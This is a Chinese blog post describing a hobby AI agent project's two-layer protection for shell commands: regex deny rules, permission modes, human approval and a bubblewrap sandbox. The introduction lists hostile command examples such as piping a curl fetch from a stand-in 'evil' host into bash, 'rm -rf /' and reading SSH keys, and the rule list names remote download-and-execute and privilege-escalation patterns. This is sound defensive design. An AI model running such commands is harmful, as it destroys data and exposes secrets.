AI Agent 沙箱双层防护体系:从权限过滤到内核隔离的完整实现

25 阅读11分钟

记录一下练手的 Express.js + Vercel AI SDK 的 AI Agent 项目。这篇文章是关于如何构建双层沙箱防护体系,让 AI 安全地执行 Shell 命令和文件操作。


1. 引言:AI Agent 的安全困境

让 AI Agent 执行 Shell 命令不难,难的是确保它不会"闯祸"。一个没有约束的 AI Agent 可能带来的风险包括:

  • 破坏性操作rm -rf /mkfs.ext4 /dev/sda 直接摧毁系统
  • 权限滥用sudo 提权、chmod 777 打开安全漏洞
  • 数据泄露:读取 ~/.ssh/id_rsa.env 中的 API Key
  • 远程下载执行curl http://evil.sh | bash 植入恶意脚本

直接不给执行权限,Agent 就变成了"只会说话的玩具"。给太多权限,又等于把服务器钥匙交给了不可预测的 LLM。

这个项目的核心设计哲学是:与其信任 AI,不如约束 AI。采用双层防护架构——应用层权限过滤控制"能不能做",系统层沙箱隔离兜底"出问题的影响范围"。

整体架构如下:

用户发送聊天请求 (携带 mode 参数)
        │
        ▼
┌───────────────────────────────────────┐
│        第一层:应用层权限过滤           │
│                                       │
│  ┌─────────────────────────────────┐  │
│  │  checkPermission 评估引擎       │  │
│  │  ├─ 45 条内置 deny 规则        │  │
│  │  ├─ 4 种 Chat Mode 策略        │  │
│  │  └─ Human-in-the-Loop 审批     │  │
│  └──────────┬──────────────────────┘  │
│             │ deny / ask              │
│             ▼                         │
│  ┌─────────────────────────────────┐  │
│  │  工具双检机制 (double-check)    │  │
│  │  needsApproval → execute        │  │
│  └─────────────────────────────────┘  │
└──────────────┬────────────────────────┘
               │ 通过
               ▼
┌───────────────────────────────────────┐
│        第二层:系统层沙箱隔离           │
│                                       │
│  ┌─────────────────────────────────┐  │
│  │  bubblewrap 内核命名空间隔离    │  │
│  │  ├─ 文件系统访问限制           │  │
│  │  ├─ 网络域名白/黑名单          │  │
│  │  ├─ 写保护 (env/pem/key)      │  │
│  │  └─ 符号链接逃逸防护           │  │
│  └─────────────────────────────────┘  │
│                                       │
│  ┌─────────────────────────────────┐  │
│  │  spawn 子进程执行               │  │
│  │  超时控制 + shell 模式          │  │
│  └─────────────────────────────────┘  │
└───────────────────────────────────────┘

2. 第一层:应用层权限过滤引擎

这是第一道防线。在工具执行之前,先通过声明式规则和模式策略进行评估。

2.1 声明式规则定义

权限规则的核心是一个简单的接口:

export type PermissionBehavior = 'allow' | 'deny' | 'ask';

export interface PermissionRule {
  tool: string;       // 工具名称,如 runCommand、editFile
  behavior: PermissionBehavior;  // 允许/拒绝/审批
  path: string | null;    // 路径正则匹配
  content: string | null; // 命令内容正则匹配
}

每条规则声明一个特定的匹配条件:当某工具调用时,如果它的内容(命令文本)或路径匹配规则中的正则表达式,就触发对应的行为。

项目内置了 45 条 deny 规则,覆盖了最常见的危险操作:

export const permissionRules: PermissionRule[] = [
  // 危险删除
  { tool: 'runCommand', behavior: 'deny', content: 'rm -rf', path: null },
  { tool: 'runCommand', behavior: 'deny', content: 'rm -r', path: null },
  { tool: 'runCommand', behavior: 'deny', content: 'rm -f', path: null },

  // 权限提升
  { tool: 'runCommand', behavior: 'deny', content: 'sudo', path: null },
  { tool: 'runCommand', behavior: 'deny', content: 'su ', path: null },
  { tool: 'runCommand', behavior: 'deny', content: 'chmod 777', path: null },
  { tool: 'runCommand', behavior: 'deny', content: 'chown -r', path: null },

  // 远程下载执行
  { tool: 'runCommand', behavior: 'deny', content: 'curl.*\\|.*sh', path: null },
  { tool: 'runCommand', behavior: 'deny', content: 'wget.*\\|.*sh', path: null },

  // 系统破坏
  { tool: 'runCommand', behavior: 'deny', content: 'mkfs', path: null },
  { tool: 'runCommand', behavior: 'deny', content: 'reboot', path: null },
  { tool: 'runCommand', behavior: 'deny', content: 'shutdown', path: null },
  // ... 更多规则
];

2.2 五步评估流程

checkPermission 函数是权限引擎的核心。它接收工具名、上下文(命令/path)和模式,返回一个决策结果:

checkPermission(tool, { command, path }, mode)
        │
        ├─ Step 1: 过滤匹配规则
        │  遍历所有规则,筛选出 tool 名称匹配,
        │  且 content 正则匹配 command、path 正则匹配 path 的规则
        │
        ├─ Step 2: deny 规则检查 (最高优先级)
        │  有 deny 规则匹配?──→ 立即 return 'deny'
        │
        ├─ Step 3: 模式 (Mode) 检查
        │  根据当前模式调整策略:
        │
        │  mode = 'plan'
        │   ├─ 写操作 (WRITE_TOOLS) ──→ 'deny'
        │   └─ 外部 API (EXTERNAL_API_TOOLS) ──→ 'deny'
        │
        │  mode = 'auto'
        │   ├─ 写操作 ──→ 'deny'
        │   └─ 读操作 (READ_ONLY_TOOLS) ──→ 'allow'
        │
        │  mode = 'yolo' ──→ return 'allow' (无条件放行)
        │
        ├─ Step 4: allow 规则检查
        │  有 allow 规则匹配?──→ return 'allow'
        │
        └─ Step 5: 默认兜底
            ├─ default/plan 模式 → return 'ask' (需审批)
            └─ auto 模式 → return 'allow'

这个流程的关键设计点是 优先级策略deny > mode > allow > ask。即使某个操作被 allow 规则匹配,只要 mode 策略中明确 deny,仍然优先拒绝。这确保了安全策略不可绕过。

2.3 四种模式:从谨慎到信任的谱系

模式读操作写操作外部 API无匹配时默认值适用场景
default需审批需审批需审批需审批默认,最安全
plan需审批拒绝拒绝需审批计划阶段,只读探索
auto允许拒绝需审批允许自动执行,安全可控
yolo允许允许允许允许完全信任,无限制

模式通过请求体中的 metadata.mode 传入:

{
  "prompt": "帮我创建一个 React 组件",
  "metadata": { "mode": "yolo" }
}

值得注意的是 plan 模式:这是项目中的一个创新设计。在 Agent 的"计划阶段",写操作和外部 API 调用被直接拒绝,Agent 只能读文件、探索目录。这防止了 Agent 在制定计划时"边想边做",确保计划阶段的纯只读安全。

2.4 工具双检机制

每个工具都实现了两层安全回调——needsApprovalexecute,它们独立调用 checkPermission

editFile: tool({
  description: '修改文件中的文本',
  inputSchema: editFileOptionsSchema,

  // 第一检:是否需要前端审批
  needsApproval: async ({ path }, options) => {
    const ctx = options.experimental_context as { metadata?: Metadata };
    const mode = ctx?.metadata?.mode ?? 'default';
    const permission = checkPermission('editFile', { path }, mode);
    return permission === 'ask';
  },

  // 第二检:执行时再次验证
  execute: async function* (input, options) {
    const mode = options.experimental_context.metadata?.mode ?? 'default';
    const permission = checkPermission('editFile', { path: input.path }, mode);
    if (permission === 'deny') {
      yield { stdout: '', stderr: '该文件无法编辑,因为被禁止了', exitCode: 1 };
      return;
    }
    // 继续沙箱操作...
  },
}),

为什么需要双检?needsApproval 决定前端是否展示审批对话框,它返回 true 时,AI SDK 暂停执行等待用户确认。但用户可能在等待期间切换模式,所以 execute 必须重新校验。这个防御性设计确保执行时刻的安全状态一定是最新的。


3. Human-in-the-Loop:可控的审批流

checkPermission 返回 'ask' 时,系统进入 Human-in-the-Loop 审批流程。这是让 AI Agent 安全可用的关键。

Agent 决定调用 editFile
        │
        ▼
  needsApproval 回调返回 true
        │
        ▼
  AI SDK 暂停执行循环
        │
        ▼
  前端消息卡片展示工具详情
  ┌────────────────────────────────┐
  │  🤖 Agent 想要:               │
  │                                │
  │  编辑文件: src/hello.ts        │
  │  搜索: "World"                 │
  │  替换: "AI Agent"              │
  │                                │
  │      [ ✓ 批准 ]  [ ✗ 拒绝 ]    │
  └────────────────────────────────┘
        │
    ┌───┴───┐
    │       │
  批准     拒绝
    │       │
    ▼       ▼
execute   返回错误信息
继续执行   "操作已被用户拒绝"
    │       │
    ▼       ▼
Agent 继续  Agent 跳过该操作
           (且不能重试)

这个流程有两个关键约束:

  1. 审批只针对当前工具调用,不是全局授权。每次危险操作都需要确认。
  2. 拒绝后不能重试。系统提示词明确约束 Agent:
When a tool execution is rejected by the user,
do not retry or ask again — just inform the user
the operation was not performed.

这防止了 Agent "坚持不懈"地骚扰用户同意。拒绝就是最终决定。


4. 第二层:系统级沙箱隔离

应用层过滤通过后,命令进入第二道防线——系统级沙箱。这里使用 @anthropic-ai/sandbox-runtime 库(基于 bubblewrap,底层是 Linux 内核命名空间)实现真正的进程隔离。

4.1 沙箱配置

沙箱在 apps/api/src/sandbox/index.ts 中初始化:

const rootDir = path.resolve(os.homedir(), env.SANDBOX_DIR);
const agentsDir = path.resolve(os.homedir(), env.AGENTS_DIR);

const config = {
  network: {
    allowedDomains: ['*'],       // 默认允许所有
    deniedDomains: [],           // 域名黑名单
  },
  enableWeakerNetworkIsolation: true,
  mandatoryDenySearchDepth: 10,  // 符号链接搜索深度上限
  filesystem: {
    denyRead: ['~/.ssh'],                // 禁止读取 SSH 密钥目录
    allowRead: [rootDir, agentsDir],      // 只允许读沙箱和 agents 目录
    allowWrite: [rootDir, '/tmp'],        // 只允许写入沙箱和 tmp
    denyWrite: ['.env', '.env.*', '*.pem', '*.key'],  // 写保护
  },
};

关键防护点:

  • 文件系统隔离:AI 只能访问 ~/.ai-sdk-demo-sandbox~/.agents/skills 两个目录,无法触及系统关键路径
  • 写保护:即使有人绕过应用层过滤,沙箱层仍然阻止覆盖 .env*.pem*.key 等敏感文件
  • 符号链接逃逸防护mandatoryDenySearchDepth: 10 限制符号链接的解析深度,防止通过创建符号链接跳出沙箱目录
  • 网络隔离:通过域名黑白名单控制 AI 能访问的外部服务

4.2 命令执行数据流

所有文件操作和命令执行最终都通过 runSandboxedCommand 函数:

tool.execute 调用 runSandboxedCommand("ls -la /some/path")
        │
        ├─ SANDBOX_ENABLED = true
        │     │
        │     ├─ SandboxManager.wrapWithSandbox("ls -la /some/path")
        │     │    将裸命令包装为 bubblewrap 容器命令
        │     │
        │     ├─ spawn(包装命令, {
        │     │     shell: true,
        │     │     cwd: sandboxDir,
        │     │     timeout: SANDBOX_TIMEOUT,
        │     │   })
        │     │    在内核隔离的子进程中执行
        │     │
        │     ├─ AsyncGenerator 实时 yield stdout/stderr
        │     │
        │     └─ finally: SandboxManager.cleanupAfterCommand()
        │          清理沙箱代理状态
        │
        └─ SANDBOX_ENABLED = false
              │
              ├─ spawn("ls -la /some/path", {
              │     shell: true,
              │     cwd: sandboxDir,
              │     timeout: SANDBOX_TIMEOUT,
              │   })
              │
              └─ 直接执行(开发调试模式)

注意到外层文件操作(如 readFile)也是通过封装 Shell 命令实现的:

// 读取文件 → dd 命令
runSandboxedCommand(`dd if=${path} bs=1 skip=${skipChars} count=${countChars} status=none`);

// 编辑文件 → node -e 内联脚本
runSandboxedCommand(`SEARCH_TEXT='...' REPLACE_TEXT='...' node -e "
  const fs = require('fs');
  const content = fs.readFileSync('${filePath}', 'utf8');
  ...
"`);

// 列出目录 → ls 命令
runSandboxedCommand(`ls -la ${path}`);

所有文件操作都经过沙箱包装,意味着文件系统限制、写保护、符号链接防护对所有操作生效,不仅限于 Shell 命令。

4.3 流式输出处理

沙箱执行采用 AsyncGenerator 模式,实时将子进程的 stdout/stderr 流式输出给调用方:

async function* spawnAndStream(child, stdoutChunks, stderrChunks) {
  // 并发处理 stdout 和 stderr 流
  const controllers = [
    async function* () {
      for await (const chunk of child.stdout) {
        const str = chunk.toString();
        stdoutChunks.push(str);
        yield { stdout: str, stderr: '' };
      }
    }(),
    async function* () {
      for await (const chunk of child.stderr) {
        const str = chunk.toString();
        stderrChunks.push(str);
        yield { stdout: '', stderr: str };
      }
    }(),
  ];

  for (const controller of controllers) {
    yield* controller;
  }

  const exitCode = await new Promise((resolve) => {
    child.on('close', (code) => resolve(code ?? -1));
    child.on('error', () => resolve(-1));
  });

  return { stdout: stdoutChunks.join(''), stderr: stderrChunks.join(''), exitCode };
}

这个模式的优势是:AI SDK 可以在命令执行过程中实时收到输出,而不必等待命令完全结束。对于长时间运行的命令,用户能即时看到进度。最终返回完整输出让 AI 做后续判断。


5. 配套安全机制

5.1 大输出持久化

AI 的上下文窗口有限,一个 ls -la 返回上万行内容就能撑爆上下文。项目实现了输出持久化机制:

// 输出超过 30KB 时自动落盘
if (result.stdout.length > env.TOOL_OUTPUT_PERSIST_THRESHOLD) {
  const { content, persistedFile } = await persistToolOutput(result.stdout);
  result.stdout = content;  // 替换为预览文本
  result.persistedFiles = [persistedFile];  // 携带文件路径引用
}

AI 收到的结果是预览(前 2000 字符)+ 文件路径的提示。如果 AI 需要完整内容,可以再次调用 readFile 读取该文件。这个机制间接也是一个安全措施——防止大输出隐藏恶意内容。

5.2 Fail-Fast 环境校验

所有沙箱配置在项目启动时通过 Zod Schema 校验,缺失关键变量直接阻止启动:

export const envSchema = z.object({
  SANDBOX_ENABLED: envBool(false).describe('是否启用沙箱'),
  SANDBOX_TIMEOUT: z.coerce.number().default(10000),
  SANDBOX_DIR: z.string().default('.ai-sdk-demo-sandbox'),
  SANDBOX_ALLOWED_DOMAINS: z.string().default('*'),
  SANDBOX_DENIED_DOMAINS: z.string().default(''),
  // ...
});

特别注意:SANDBOX_ENABLED 默认为 false,需要显式设置为 true 才能启用沙箱。这避免开发者在不知情的情况下以为自己有沙箱保护。

5.3 Docker 部署的沙箱兼容

在 Docker 环境中运行沙箱需要额外权限,因为 bubblewrap 操作内核命名空间:

# Dockerfile
FROM node:23-alpine
RUN apk add --no-cache bash ripgrep bubblewrap socat
COPY --from=builder /app/dist ./dist
CMD ["node", "dist/index.js"]
docker run --cap-add=SYS_ADMIN --cap-add=NET_ADMIN -p 3000:3000 your-image

这是整个系统中"安全性和便利性"权衡最明显的例子:沙箱隔离需要额外的容器权限,但这个权限本身也是一种风险。项目选择在文档中明确标注这一点,让部署者自行评估。


6. 架构总览与设计要点

                    ┌─────────────────────────┐
                    │  用户 (前端 Vue 3)       │
                    │  metadata: { mode }      │
                    └───────────┬─────────────┘
                                │ POST /api/chat/
                                ▼
                    ┌─────────────────────────┐
                    │    chat.controller.ts   │
                    └───────────┬─────────────┘
                                ▼
                    ┌─────────────────────────┐
                    │    chat.service.ts       │
                    │  提取 metadata           │
                    └───────────┬─────────────┘
                                ▼
                    ┌─────────────────────────┐
                    │ chat.agent.ts           │
                    │ (ToolLoopAgent)         │
                    │                         │
                    │ prepareCall: 注入        │
                    │ experimental_context    │
                    │ ↓ { chatId, metadata }  │
                    │                         │
                    │ tools.needsApproval     │
                    │ → checkPermission()     │
                    │                         │
                    │ tools.execute           │
                    │ → checkPermission()     │  ← 第一层:应用层过滤
                    │ → runSandboxedCommand() │
                    └───────────┬─────────────┘
                                │
                                ▼
                    ┌─────────────────────────┐
                    │  sandbox/index.ts        │
                    │                         │
                    │ SandboxManager          │
                    │ .wrapWithSandbox()      │  ← 第二层:内核隔离
                    │                         │
                    │ spawn + shell: true     │
                    │ cwd: sandboxDir         │
                    │ timeout: 10000ms        │
                    │                         │
                    │ AsyncGenerator yield    │
                    │ stdout/stderr chunks    │
                    └─────────────────────────┘

设计原则总结

原则体现
纵深防御 (Defense in Depth)应用层规则 + 系统层沙箱,双层互不依赖
最小权限 (Least Privilege)默认 ask,显式放开才能执行
Fail-Safe 默认安全deny > allow 优先级策略
显式信任 (Explicit Trust)yolo 模式需要用户主动选择
可审计 (Auditability)规则声明式定义,所有操作都有日志

7. 总结

AI Agent 的安全不是一个"开或关"的问题,而是一个渐进的信任谱系。这个项目的双层沙箱设计给出了一个务实的答案:

  1. 声明式规则让安全策略可读、可审计、可扩展。45 条内置规则覆盖了绝大多数已知风险场景。
  2. 四种模式让用户从"锁死"到"放行"之间有四个刻度可选,而不是只有 0 和 1。
  3. Human-in-the-Loop 在最不确定的环节引入人类判断,AI 负责执行,人负责把关。
  4. 内核级沙箱兜底未知风险,即使应用层规则被绕过,bubblewrap 隔离仍然能限制破坏范围。

安全设计的本质不是"构建一个无法被攻破的系统",而是让攻击的成本远高于收益。这个项目的两层防护,每一层都让攻击者多付出一个数量级的成本——对于绝大多数场景,这已经足够。


关联阅读手写一个 AI Agent 全栈项目:从沙箱执行到子智能体的完整实现 — 本文是该项目架构概览的姊妹篇,介绍了整体技术栈、子智能体、Skills 动态加载等核心功能。

项目源码github.com/oliyg/expre…